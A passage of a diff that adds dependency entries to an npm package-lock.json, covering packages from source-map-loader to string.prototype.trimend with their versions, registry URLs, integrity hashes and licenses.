25126+ "node_modules/source-map-loader": {
25127+ "version": "3.0.2",
25128+ "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.2.tgz",
25129+ "integrity": "sha512-BokxPoLjyl3iOrgkWaakaxqnelAJSS+0V+De0kKIq6lyWrXuiPgYTGp6z3iHmqljKAaLXwZa+ctD8GccRJeVvg==",
25130+ "license": "MIT",
25131+ "dependencies": {
25132+ "abab": "^2.0.5",
25133+ "iconv-lite": "^0.6.3",
25134+ "source-map-js": "^1.0.1"
25135+ },
25136+ "engines": {
25137+ "node": ">= 12.13.0"
25138+ },
25139+ "funding": {
25140+ "type": "opencollective",
25141+ "url": "https://opencollective.com/webpack"
25142+ },
25143+ "peerDependencies": {
25144+ "webpack": "^5.0.0"
25145+ }
25146+ },
25147+ "node_modules/source-map-loader/node_modules/iconv-lite": {
25148+ "version": "0.6.3",
25149+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
25150+ "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
25151+ "license": "MIT",
25152+ "dependencies": {
25153+ "safer-buffer": ">= 2.1.2 < 3.0.0"
25154+ },
25155+ "engines": {
25156+ "node": ">=0.10.0"
25157+ }
25158+ },
25159+ "node_modules/source-map-support": {
25160+ "version": "0.5.21",
25161+ "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
25162+ "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
25163+ "license": "MIT",
25164+ "dependencies": {
25165+ "buffer-from": "^1.0.0",
25166+ "source-map": "^0.6.0"
25167+ }
25168+ },
25169+ "node_modules/source-map-support/node_modules/source-map": {
25170+ "version": "0.6.1",
25171+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
25172+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
25173+ "license": "BSD-3-Clause",
25174+ "engines": {
25175+ "node": ">=0.10.0"
25176+ }
25177+ },
25178+ "node_modules/sourcemap-codec": {
25179+ "version": "1.4.8",
25180+ "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz",
25181+ "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==",
25182+ "deprecated": "Please use @jridgewell/sourcemap-codec instead",
25183+ "license": "MIT"
25184+ },
25185+ "node_modules/sparse-bitfield": {
25186+ "version": "3.0.3",
25187+ "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz",
25188+ "integrity": "sha512-kvzhi7vqKTfkh0PZU+2D2PIllw2ymqJKujUcyPMd9Y75Nv4nPbGJZXNhxsgdQab2BmlDct1YnfQCguEvHr7VsQ==",
25189+ "license": "MIT",
25190+ "dependencies": {
25191+ "memory-pager": "^1.0.2"
25192+ }
25193+ },
25194+ "node_modules/spawn-command": {
25195+ "version": "0.0.2",
25196+ "resolved": "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2.tgz",
25197+ "integrity": "sha512-zC8zGoGkmc8J9ndvml8Xksr1Amk9qBujgbF0JAIWO7kXr43w0h/0GJNM/Vustixu+YE8N/MTrQ7N31FvHUACxQ=="
25198+ },
25199+ "node_modules/spdy": {
25200+ "version": "4.0.2",
25201+ "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz",
25202+ "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==",
25203+ "license": "MIT",
25204+ "dependencies": {
25205+ "debug": "^4.1.0",
25206+ "handle-thing": "^2.0.0",
25207+ "http-deceiver": "^1.2.7",
25208+ "select-hose": "^2.0.0",
25209+ "spdy-transport": "^3.0.0"
25210+ },
25211+ "engines": {
25212+ "node": ">=6.0.0"
25213+ }
25214+ },
25215+ "node_modules/spdy-transport": {
25216+ "version": "3.0.0",
25217+ "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz",
25218+ "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==",
25219+ "license": "MIT",
25220+ "dependencies": {
25221+ "debug": "^4.1.0",
25222+ "detect-node": "^2.0.4",
25223+ "hpack.js": "^2.1.6",
25224+ "obuf": "^1.1.2",
25225+ "readable-stream": "^3.0.6",
25226+ "wbuf": "^1.7.3"
25227+ }
25228+ },
25229+ "node_modules/spdy-transport/node_modules/debug": {
25230+ "version": "4.4.3",
25231+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
25232+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
25233+ "license": "MIT",
25234+ "dependencies": {
25235+ "ms": "^2.1.3"
25236+ },
25237+ "engines": {
25238+ "node": ">=6.0"
25239+ },
25240+ "peerDependenciesMeta": {
25241+ "supports-color": {
25242+ "optional": true
25243+ }
25244+ }
25245+ },
25246+ "node_modules/spdy-transport/node_modules/ms": {
25247+ "version": "2.1.3",
25248+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
25249+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
25250+ "license": "MIT"
25251+ },
25252+ "node_modules/spdy-transport/node_modules/readable-stream": {
25253+ "version": "3.6.2",
25254+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
25255+ "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
25256+ "license": "MIT",
25257+ "dependencies": {
25258+ "inherits": "^2.0.3",
25259+ "string_decoder": "^1.1.1",
25260+ "util-deprecate": "^1.0.1"
25261+ },
25262+ "engines": {
25263+ "node": ">= 6"
25264+ }
25265+ },
25266+ "node_modules/spdy/node_modules/debug": {
25267+ "version": "4.4.3",
25268+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
25269+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
25270+ "license": "MIT",
25271+ "dependencies": {
25272+ "ms": "^2.1.3"
25273+ },
25274+ "engines": {
25275+ "node": ">=6.0"
25276+ },
25277+ "peerDependenciesMeta": {
25278+ "supports-color": {
25279+ "optional": true
25280+ }
25281+ }
25282+ },
25283+ "node_modules/spdy/node_modules/ms": {
25284+ "version": "2.1.3",
25285+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
25286+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
25287+ "license": "MIT"
25288+ },
25289+ "node_modules/split-on-first": {
25290+ "version": "1.1.0",
25291+ "resolved": "https://registry.npmjs.org/split-on-first/-/split-on-first-1.1.0.tgz",
25292+ "integrity": "sha512-43ZssAJaMusuKWL8sKUBQXHWOpq8d6CfN/u1p4gUzfJkM05C8rxTmYrkIPTXapZpORA6LkkzcUulJ8FqA7Uudw==",
25293+ "license": "MIT",
25294+ "engines": {
25295+ "node": ">=6"
25296+ }
25297+ },
25298+ "node_modules/split-string": {
25299+ "version": "3.1.0",
25300+ "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz",
25301+ "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
25302+ "license": "MIT",
25303+ "dependencies": {
25304+ "extend-shallow": "^3.0.0"
25305+ },
25306+ "engines": {
25307+ "node": ">=0.10.0"
25308+ }
25309+ },
25310+ "node_modules/split-string/node_modules/extend-shallow": {
25311+ "version": "3.0.2",
25312+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
25313+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
25314+ "license": "MIT",
25315+ "dependencies": {
25316+ "assign-symbols": "^1.0.0",
25317+ "is-extendable": "^1.0.1"
25318+ },
25319+ "engines": {
25320+ "node": ">=0.10.0"
25321+ }
25322+ },
25323+ "node_modules/sprintf-js": {
25324+ "version": "1.0.3",
25325+ "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
25326+ "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
25327+ "license": "BSD-3-Clause"
25328+ },
25329+ "node_modules/sshpk": {
25330+ "version": "1.18.0",
25331+ "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.18.0.tgz",
25332+ "integrity": "sha512-2p2KJZTSqQ/I3+HX42EpYOa2l3f8Erv8MWKsy2I9uf4wA7yFIkXRffYdsx86y6z4vHtV8u7g+pPlr8/4ouAxsQ==",
25333+ "license": "MIT",
25334+ "dependencies": {
25335+ "asn1": "~0.2.3",
25336+ "assert-plus": "^1.0.0",
25337+ "bcrypt-pbkdf": "^1.0.0",
25338+ "dashdash": "^1.12.0",
25339+ "ecc-jsbn": "~0.1.1",
25340+ "getpass": "^0.1.1",
25341+ "jsbn": "~0.1.0",
25342+ "safer-buffer": "^2.0.2",
25343+ "tweetnacl": "~0.14.0"
25344+ },
25345+ "bin": {
25346+ "sshpk-conv": "bin/sshpk-conv",
25347+ "sshpk-sign": "bin/sshpk-sign",
25348+ "sshpk-verify": "bin/sshpk-verify"
25349+ },
25350+ "engines": {
25351+ "node": ">=0.10.0"
25352+ }
25353+ },
25354+ "node_modules/stable": {
25355+ "version": "0.1.8",
25356+ "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz",
25357+ "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==",
25358+ "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility",
25359+ "license": "MIT"
25360+ },
25361+ "node_modules/stack-utils": {
25362+ "version": "2.0.6",
25363+ "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz",
25364+ "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==",
25365+ "license": "MIT",
25366+ "dependencies": {
25367+ "escape-string-regexp": "^2.0.0"
25368+ },
25369+ "engines": {
25370+ "node": ">=10"
25371+ }
25372+ },
25373+ "node_modules/stack-utils/node_modules/escape-string-regexp": {
25374+ "version": "2.0.0",
25375+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
25376+ "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
25377+ "license": "MIT",
25378+ "engines": {
25379+ "node": ">=8"
25380+ }
25381+ },
25382+ "node_modules/stackframe": {
25383+ "version": "1.3.4",
25384+ "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz",
25385+ "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==",
25386+ "license": "MIT"
25387+ },
25388+ "node_modules/static-eval": {
25389+ "version": "2.0.2",
25390+ "resolved": "https://registry.npmjs.org/static-eval/-/static-eval-2.0.2.tgz",
25391+ "integrity": "sha512-N/D219Hcr2bPjLxPiV+TQE++Tsmrady7TqAJugLy7Xk1EumfDWS/f5dtBbkRCGE7wKKXuYockQoj8Rm2/pVKyg==",
25392+ "license": "MIT",
25393+ "dependencies": {
25394+ "escodegen": "^1.8.1"
25395+ }
25396+ },
25397+ "node_modules/static-eval/node_modules/escodegen": {
25398+ "version": "1.14.3",
25399+ "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.3.tgz",
25400+ "integrity": "sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==",
25401+ "license": "BSD-2-Clause",
25402+ "dependencies": {
25403+ "esprima": "^4.0.1",
25404+ "estraverse": "^4.2.0",
25405+ "esutils": "^2.0.2",
25406+ "optionator": "^0.8.1"
25407+ },
25408+ "bin": {
25409+ "escodegen": "bin/escodegen.js",
25410+ "esgenerate": "bin/esgenerate.js"
25411+ },
25412+ "engines": {
25413+ "node": ">=4.0"
25414+ },
25415+ "optionalDependencies": {
25416+ "source-map": "~0.6.1"
25417+ }
25418+ },
25419+ "node_modules/static-eval/node_modules/estraverse": {
25420+ "version": "4.3.0",
25421+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
25422+ "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
25423+ "license": "BSD-2-Clause",
25424+ "engines": {
25425+ "node": ">=4.0"
25426+ }
25427+ },
25428+ "node_modules/static-eval/node_modules/levn": {
25429+ "version": "0.3.0",
25430+ "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
25431+ "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==",
25432+ "license": "MIT",
25433+ "dependencies": {
25434+ "prelude-ls": "~1.1.2",
25435+ "type-check": "~0.3.2"
25436+ },
25437+ "engines": {
25438+ "node": ">= 0.8.0"
25439+ }
25440+ },
25441+ "node_modules/static-eval/node_modules/optionator": {
25442+ "version": "0.8.3",
25443+ "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
25444+ "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
25445+ "license": "MIT",
25446+ "dependencies": {
25447+ "deep-is": "~0.1.3",
25448+ "fast-levenshtein": "~2.0.6",
25449+ "levn": "~0.3.0",
25450+ "prelude-ls": "~1.1.2",
25451+ "type-check": "~0.3.2",
25452+ "word-wrap": "~1.2.3"
25453+ },
25454+ "engines": {
25455+ "node": ">= 0.8.0"
25456+ }
25457+ },
25458+ "node_modules/static-eval/node_modules/prelude-ls": {
25459+ "version": "1.1.2",
25460+ "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
25461+ "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==",
25462+ "engines": {
25463+ "node": ">= 0.8.0"
25464+ }
25465+ },
25466+ "node_modules/static-eval/node_modules/source-map": {
25467+ "version": "0.6.1",
25468+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
25469+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
25470+ "license": "BSD-3-Clause",
25471+ "optional": true,
25472+ "engines": {
25473+ "node": ">=0.10.0"
25474+ }
25475+ },
25476+ "node_modules/static-eval/node_modules/type-check": {
25477+ "version": "0.3.2",
25478+ "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
25479+ "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==",
25480+ "license": "MIT",
25481+ "dependencies": {
25482+ "prelude-ls": "~1.1.2"
25483+ },
25484+ "engines": {
25485+ "node": ">= 0.8.0"
25486+ }
25487+ },
25488+ "node_modules/stats-gl": {
25489+ "version": "2.4.2",
25490+ "resolved": "https://registry.npmjs.org/stats-gl/-/stats-gl-2.4.2.tgz",
25491+ "integrity": "sha512-g5O9B0hm9CvnM36+v7SFl39T7hmAlv541tU81ME8YeSb3i1CIP5/QdDeSB3A0la0bKNHpxpwxOVRo2wFTYEosQ==",
25492+ "license": "MIT",
25493+ "dependencies": {
25494+ "@types/three": "*",
25495+ "three": "^0.170.0"
25496+ },
25497+ "peerDependencies": {
25498+ "@types/three": "*",
25499+ "three": "*"
25500+ }
25501+ },
25502+ "node_modules/stats-gl/node_modules/three": {
25503+ "version": "0.170.0",
25504+ "resolved": "https://registry.npmjs.org/three/-/three-0.170.0.tgz",
25505+ "integrity": "sha512-FQK+LEpYc0fBD+J8g6oSEyyNzjp+Q7Ks1C568WWaoMRLW+TkNNWmenWeGgJjV105Gd+p/2ql1ZcjYvNiPZBhuQ==",
25506+ "license": "MIT"
25507+ },
25508+ "node_modules/stats.js": {
25509+ "version": "0.17.0",
25510+ "resolved": "https://registry.npmjs.org/stats.js/-/stats.js-0.17.0.tgz",
25511+ "integrity": "sha512-hNKz8phvYLPEcRkeG1rsGmV5ChMjKDAWU7/OJJdDErPBNChQXxCo3WZurGpnWc6gZhAzEPFad1aVgyOANH1sMw==",
25512+ "license": "MIT"
25513+ },
25514+ "node_modules/statuses": {
25515+ "version": "2.0.2",
25516+ "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
25517+ "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==",
25518+ "license": "MIT",
25519+ "engines": {
25520+ "node": ">= 0.8"
25521+ }
25522+ },
25523+ "node_modules/stop-iteration-iterator": {
25524+ "version": "1.1.0",
25525+ "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz",
25526+ "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==",
25527+ "license": "MIT",
25528+ "dependencies": {
25529+ "es-errors": "^1.3.0",
25530+ "internal-slot": "^1.1.0"
25531+ },
25532+ "engines": {
25533+ "node": ">= 0.4"
25534+ }
25535+ },
25536+ "node_modules/stream-browserify": {
25537+ "version": "3.0.0",
25538+ "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-3.0.0.tgz",
25539+ "integrity": "sha512-H73RAHsVBapbim0tU2JwwOiXUj+fikfiaoYAKHF3VJfA0pe2BCzkhAHBlLG6REzE+2WNZcxOXjK7lkso+9euLA==",
25540+ "license": "MIT",
25541+ "dependencies": {
25542+ "inherits": "~2.0.4",
25543+ "readable-stream": "^3.5.0"
25544+ }
25545+ },
25546+ "node_modules/stream-browserify/node_modules/readable-stream": {
25547+ "version": "3.6.2",
25548+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
25549+ "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
25550+ "license": "MIT",
25551+ "dependencies": {
25552+ "inherits": "^2.0.3",
25553+ "string_decoder": "^1.1.1",
25554+ "util-deprecate": "^1.0.1"
25555+ },
25556+ "engines": {
25557+ "node": ">= 6"
25558+ }
25559+ },
25560+ "node_modules/stream-http": {
25561+ "version": "3.2.0",
25562+ "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-3.2.0.tgz",
25563+ "integrity": "sha512-Oq1bLqisTyK3TSCXpPbT4sdeYNdmyZJv1LxpEm2vu1ZhK89kSE5YXwZc3cWk0MagGaKriBh9mCFbVGtO+vY29A==",
25564+ "license": "MIT",
25565+ "dependencies": {
25566+ "builtin-status-codes": "^3.0.0",
25567+ "inherits": "^2.0.4",
25568+ "readable-stream": "^3.6.0",
25569+ "xtend": "^4.0.2"
25570+ }
25571+ },
25572+ "node_modules/stream-http/node_modules/readable-stream": {
25573+ "version": "3.6.2",
25574+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
25575+ "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
25576+ "license": "MIT",
25577+ "dependencies": {
25578+ "inherits": "^2.0.3",
25579+ "string_decoder": "^1.1.1",
25580+ "util-deprecate": "^1.0.1"
25581+ },
25582+ "engines": {
25583+ "node": ">= 6"
25584+ }
25585+ },
25586+ "node_modules/streamsearch": {
25587+ "version": "1.1.0",
25588+ "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz",
25589+ "integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==",
25590+ "engines": {
25591+ "node": ">=10.0.0"
25592+ }
25593+ },
25594+ "node_modules/strict-uri-encode": {
25595+ "version": "2.0.0",
25596+ "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-2.0.0.tgz",
25597+ "integrity": "sha512-QwiXZgpRcKkhTj2Scnn++4PKtWsH0kpzZ62L2R6c/LUVYv7hVnZqcg2+sMuT6R7Jusu1vviK/MFsu6kNJfWlEQ==",
25598+ "license": "MIT",
25599+ "engines": {
25600+ "node": ">=4"
25601+ }
25602+ },
25603+ "node_modules/string_decoder": {
25604+ "version": "1.1.1",
25605+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
25606+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
25607+ "license": "MIT",
25608+ "dependencies": {
25609+ "safe-buffer": "~5.1.0"
25610+ }
25611+ },
25612+ "node_modules/string_decoder/node_modules/safe-buffer": {
25613+ "version": "5.1.2",
25614+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
25615+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
25616+ "license": "MIT"
25617+ },
25618+ "node_modules/string-length": {
25619+ "version": "4.0.2",
25620+ "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
25621+ "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
25622+ "license": "MIT",
25623+ "dependencies": {
25624+ "char-regex": "^1.0.2",
25625+ "strip-ansi": "^6.0.0"
25626+ },
25627+ "engines": {
25628+ "node": ">=10"
25629+ }
25630+ },
25631+ "node_modules/string-natural-compare": {
25632+ "version": "3.0.1",
25633+ "resolved": "https://registry.npmjs.org/string-natural-compare/-/string-natural-compare-3.0.1.tgz",
25634+ "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==",
25635+ "license": "MIT"
25636+ },
25637+ "node_modules/string-width": {
25638+ "version": "4.2.3",
25639+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
25640+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
25641+ "license": "MIT",
25642+ "dependencies": {
25643+ "emoji-regex": "^8.0.0",
25644+ "is-fullwidth-code-point": "^3.0.0",
25645+ "strip-ansi": "^6.0.1"
25646+ },
25647+ "engines": {
25648+ "node": ">=8"
25649+ }
25650+ },
25651+ "node_modules/string-width/node_modules/emoji-regex": {
25652+ "version": "8.0.0",
25653+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
25654+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
25655+ "license": "MIT"
25656+ },
25657+ "node_modules/string.prototype.includes": {
25658+ "version": "2.0.1",
25659+ "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz",
25660+ "integrity": "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==",
25661+ "license": "MIT",
25662+ "dependencies": {
25663+ "call-bind": "^1.0.7",
25664+ "define-properties": "^1.2.1",
25665+ "es-abstract": "^1.23.3"
25666+ },
25667+ "engines": {
25668+ "node": ">= 0.4"
25669+ }
25670+ },
25671+ "node_modules/string.prototype.matchall": {
25672+ "version": "4.0.12",
25673+ "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz",
25674+ "integrity": "sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==",
25675+ "license": "MIT",
25676+ "dependencies": {
25677+ "call-bind": "^1.0.8",
25678+ "call-bound": "^1.0.3",
25679+ "define-properties": "^1.2.1",
25680+ "es-abstract": "^1.23.6",
25681+ "es-errors": "^1.3.0",
25682+ "es-object-atoms": "^1.0.0",
25683+ "get-intrinsic": "^1.2.6",
25684+ "gopd": "^1.2.0",
25685+ "has-symbols": "^1.1.0",
25686+ "internal-slot": "^1.1.0",
25687+ "regexp.prototype.flags": "^1.5.3",
25688+ "set-function-name": "^2.0.2",
25689+ "side-channel": "^1.1.0"
25690+ },
25691+ "engines": {
25692+ "node": ">= 0.4"
25693+ },
25694+ "funding": {
25695+ "url": "https://github.com/sponsors/ljharb"
25696+ }
25697+ },
25698+ "node_modules/string.prototype.repeat": {
25699+ "version": "1.0.0",
25700+ "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz",
25701+ "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==",
25702+ "license": "MIT",
25703+ "dependencies": {
25704+ "define-properties": "^1.1.3",
25705+ "es-abstract": "^1.17.5"
25706+ }
25707+ },
25708+ "node_modules/string.prototype.trim": {
25709+ "version": "1.2.10",
25710+ "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz",
25711+ "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==",
25712+ "license": "MIT",
25713+ "dependencies": {
25714+ "call-bind": "^1.0.8",
25715+ "call-bound": "^1.0.2",
25716+ "define-data-property": "^1.1.4",
25717+ "define-properties": "^1.2.1",
25718+ "es-abstract": "^1.23.5",
25719+ "es-object-atoms": "^1.0.0",
25720+ "has-property-descriptors": "^1.0.2"
25721+ },
25722+ "engines": {
25723+ "node": ">= 0.4"
25724+ },
25725+ "funding": {
25726+ "url": "https://github.com/sponsors/ljharb"
25727+ }
25728+ },
25729+ "node_modules/string.prototype.trimend": {
25730+ "version": "1.0.9",
25731+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz",
25732+ "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==",
25733+ "license": "MIT",
25734+ "dependencies": {
25735+ "call-bind": "^1.0.8",
25736+ "call-bound": "^1.0.2",
25737+ "define-properties": "^1.2.1",
25738+ "es-object-atoms": "^1.0.0"
25739+ },
25740+ "engines": {
25741+ "node": ">= 0.4"
25742+ },
25743+ "funding": {
25744+ "url": "https://github.com/sponsors/ljharb"
25745+ }
25746+ },
